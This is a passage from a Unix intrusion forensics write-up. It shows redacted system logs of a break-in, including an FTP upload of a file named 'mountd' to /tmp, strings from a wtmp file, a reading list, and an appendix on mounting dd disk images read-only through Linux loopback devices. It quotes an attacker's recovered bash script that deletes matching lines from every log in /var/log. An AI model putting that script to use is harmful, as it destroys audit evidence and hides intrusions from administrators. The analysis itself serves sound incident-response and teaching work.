XXX 12 11:04:44 XXXX in.rlogind[1230]: connect from CCCCCCCC.XXXXXXXX.XXX
. . .
XXX 12 11:08:57 XXXX su: XXXXX on /dev/ttyp1
XXX 12 11:11:19 XXXX su: XXXXX on /dev/ttyp1
. . .
XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX
XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX
XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX
. . .
XXX 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1
XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX
XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX
XXX 12 11:41:59 XXXX ftpd[1327]: PASS password
XXX 12 11:42:00 XXXX ftpd[1327]: SYST
XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp
XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image
XXX 12 11:42:06 XXXX ftpd[1327]: PORT
XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd
XXX 12 11:42:08 XXXX ftpd[1327]: QUIT
XXX 12 11:42:08 XXXX ftpd[1327]: FTP session closed
XXX 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX
XXX 12 12:00:25 XXXX telnetd[1342]: ttloop: peer died: Try again
. . .
XXX 12 12:54:37 XXXX in.rlogind[1358]: connect from CCCCCCCC.XXXXXXXX.XXX
. . .
XXX 12 19:53:30 XXXX in.telnetd[1459]: connect from XXXX-XX-118.XXXXXXXXX.XXX
. . .
XXX 12 23:47:32 XXXX in.telnetd[1525]: connect from XXXXXX.XXXX.XXXXXXXXXX.XXX
XXX 12 23:47:41 XXXX login: 1 LOGIN FAILURE FROM XXXXXX.XXXX.XXXXXXXXXX.XXX, XXXXX
XXX 12 23:48:55 XXXX su: XXXXX on /dev/console
XXX 13 00:12:38 XXXX in.telnetd[1569]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX
XXX 13 00:12:54 XXXX su: XXXXX on /dev/console
. . .
XXX 13 06:46:12 XXXX in.telnetd[1673]: connect from XXX.XX.XXX.XX
XXX 13 07:08:01 XXXX in.telnetd[1679]: connect from GGGGGGG.XXXXXXXXXXXXXX.XXX
XXX 13 07:08:14 XXXX su: XXXXX on /dev/console
. . .
XXX 13 08:30:05 XXXX in.telnetd[1728]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX
XXX 13 08:30:22 XXXX in.telnetd[1731]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX
XXX 13 08:32:34 XXXX in.telnetd[1733]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX
. . .
XXX 13 09:58:42 XXXX su: XXXXX on /dev/console
-----------------------------------------------------------------------------
The following is another script used to clean out log files. It is not known
if this same file exists still in the active file system.
-----------------------------------------------------------------------------
#!/bin/bash
. . .
WHAT=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -v ".gz" | grep -v ".tar" | grep -v "@")
for file in $WHAT
line=$(wc -l /var/log/$file | awk -F ' ' '{print $1}')
echo -n "Cleaning $file ($line lines)..."
grep -v $1 /var/log/$file > new
mv -f new /var/log/$file
newline=$(wc -l /var/log/$file | awk -F ' ' '{print $1}')
let linedel=$(($line-$newline))
echo "$linedel lines removed!"
done
echo " "
-----------------------------------------------------------------------------
The following are strings out of a portion of a wtmp file ("last"
information). Times are not obvious, but host names are.
-----------------------------------------------------------------------------
ftp4264
ttyp1
3XXXXX
XXXXXXXXXXXX
ttyp1
Pftp4626
3XXXXX
XXXXXXXXXXXX
ttyp1
3XXXXX
XXXXXXXXXXXX
ftp4626
ttyp1
Pftp4639
3XXXXXXXX
XXX.XX.XXX.XX
Pftp4639
Pftp4653
3XXXXXX
XXXXXXXXXXXX
ftp4653
Pftp4743
3XXXXX
XXXXXXXXXXXXXXXX
-----------------------------------------------------------------------------
References and other reading on forensics
- Techniques of Crime Scene Investigation, by Barry A. J.
Fisher, CRC Press, ISBN 0-8493-8119-3
- Performance Tuning Backup Systems, Hewlett-Packard whitepaper
- The Coroner's Toolkit
- Dan Farmer & Wietse Venema's class on computer forensic analysis
[ forensics.tar.gz contains the slides in 6-up portrait PostScript format for printing on just 25 double-sided pages]
- Forensic Computer Analysis: An Introduction -- Reconstructing past events, By Dan Farmer and Wietse Venema, Dr. Dobb's Journal, September 2000
- What Are MACtimes?: Powerful tools for digital databases, By Dan Farmer, Dr. Dobb's Journal, October 2000
- Strangers In the Night: Finding the purpose of an unknown program, by Wietse Venema, Dr. Dobb's Journal, November 2000
- "Root Kits" and hiding files/directories/processes after a break-in
- CD Universe evidence compromised -- Failure to protect computer data renders it suspect in court, by Mike Brunker and Bob Sullivan, MSNBC, June 7, 2000
- Info.sec.radio segment on forensics (@15:45.0), July 10, 2000
- SecurityFocus interview with Jennifer Grannick
- SecurityFocus interview with Chad Davis
- Anonymizing Unix Systems, by van Hauser, THC
- Federal Guidelines for Searching and Seizing Computers, US Department of Justice
- DD and Computer Forensics: Examples of Using DD within UNIX to Create Physical Backups, by Thomas Rude, CISSP, August 2000
Thanks go to Dan Farmer for his feedback, and to he and Wietse Venema for
their contribution to the science and technology of forensic analysis
of Unix systems.
Appendix A: Loopback file systems under Linux
The Linux kernel can support a large number of filesystem types
(shown here from "man mount"):
The file system types which are currently supported are listed
in linux/fs/filesystems.c: adfs, affs, autofs, coda, coherent,
devpts, efs, ext, ext2, hfs, hpfs, iso9660, minix, msdos,
ncpfs, nfs, ntfs, proc, qnx4, romfs, smbfs, sysv, udf, ufs,
umsdos, vfat, xenix, xiafs. Note that coherent, sysv and
xenix are equivalent and that xenix and coherent will be
removed at some point in the future -- use sysv instead.
This makes it handy to use as an analysis platform, because you
can use a single set of utilities to access file contents and i-node
information from a large number of victim system types.
Linux also supports a feature known as "loopback" devices, which allow
you to use a filesystem within a file. This method is used for
bootdisks, burning CD-ROMS, and for encrypted filesystems on laptops,
etc. For more information, see the following:
- man losetup
- man mount
- Laptop-HOWTO
- Bootdisk-HOWTO
- Loopback-Encrypted-Filesystem-HOWTO
The loop devices (8 by default) are used indirectly by the "mount"
command. They are located in the /dev directory with other
devices:
# ls -l /dev/loop*
brw-rw---- 1 root disk 7, 0 May 5 1998 /dev/loop0
brw-rw---- 1 root disk 7, 1 May 5 1998 /dev/loop1
brw-rw---- 1 root disk 7, 2 May 5 1998 /dev/loop2
brw-rw---- 1 root disk 7, 3 May 5 1998 /dev/loop3
brw-rw---- 1 root disk 7, 4 May 5 1998 /dev/loop4
brw-rw---- 1 root disk 7, 5 May 5 1998 /dev/loop5
brw-rw---- 1 root disk 7, 6 May 5 1998 /dev/loop6
brw-rw---- 1 root disk 7, 7 May 5 1998 /dev/loop7
Combining these two features is way simpler than you might guess.
You simply copy bitmap images of each partition, copied with
dd from a victim system, to your analysis system, then mount
them using loopback devices.
For our example, the partitions were obtained from the primary
internal drive on a Sun SPARC system running Solaris 2.5:
# ls -l c0t3d0*
-rw-r--r-- 1 root root 189399040 Sep 14 12:44 c0t3d0s0.dd
-rw-r--r-- 1 root root 171991040 Sep 14 13:15 c0t3d0s1.dd
-rw-r--r-- 1 root root 220733440 Sep 14 12:57 c0t3d0s3.dd
-rw-r--r-- 1 root root 269475840 Sep 14 12:51 c0t3d0s6.dd
-rw-r--r-- 1 root root 515973120 Sep 14 13:48 c0t3d0s7.dd
You mount the image (in read-only mode) by specifying it is a UFS
filesystem, of type "sun", and that you want to use a loop device,
like this:
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s0.dd /t
From here, we can now determine where the other partitions go by
searching for this device name in the vicitm system's
/etc/vfstab file (mounted in this example on /t):
# grep c0t3d0 /t/etc/vfstab
/dev/dsk/c0t3d0s1 - - swap - no -
/dev/dsk/c0t3d0s0 /dev/rdsk/c0t3d0s0 / ufs 1 no -
/dev/dsk/c0t3d0s6 /dev/rdsk/c0t3d0s6 /usr ufs 1 no -
/dev/dsk/c0t3d0s3 /dev/rdsk/c0t3d0s3 /var ufs 1 no -
/dev/dsk/c0t3d0s7 /dev/rdsk/c0t3d0s7 /export/home ufs 2 yes -
You now mount the other partions in the same way:
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s3.dd /t/var
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s6.dd /t/usr
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s7.dd /t/export/home
The contents are now visible to standard utilities, such as
The Coroner's Toolkit program "grave-robber".
# df
Filesystem 1k-blocks Used Available Use% Mounted on
. . .
/x/c0t3d0s0.dd 173791 68725 87696 44% /t
/x/c0t3d0s3.dd 202423 26148 156035 14% /t/usr
/x/c0t3d0s6.dd 246743 197592 24481 89% /t/var
/x/c0t3d0s7.dd 473031 111506 314225 26% /t/export/home
# mount
. . .
/x/c0t3d0s0.dd on /t type ufs (ro,loop=/dev/loop0,ufstype=sun)
/x/c0t3d0s3.dd on /t/usr type ufs (ro,loop=/dev/loop1,ufstype=sun)
/x/c0t3d0s6.dd on /t/var type ufs (ro,loop=/dev/loop2,ufstype=sun)
/x/c0t3d0s7.dd on /t/export/home type ufs (ro,loop=/dev/loop3,ufstype=sun)
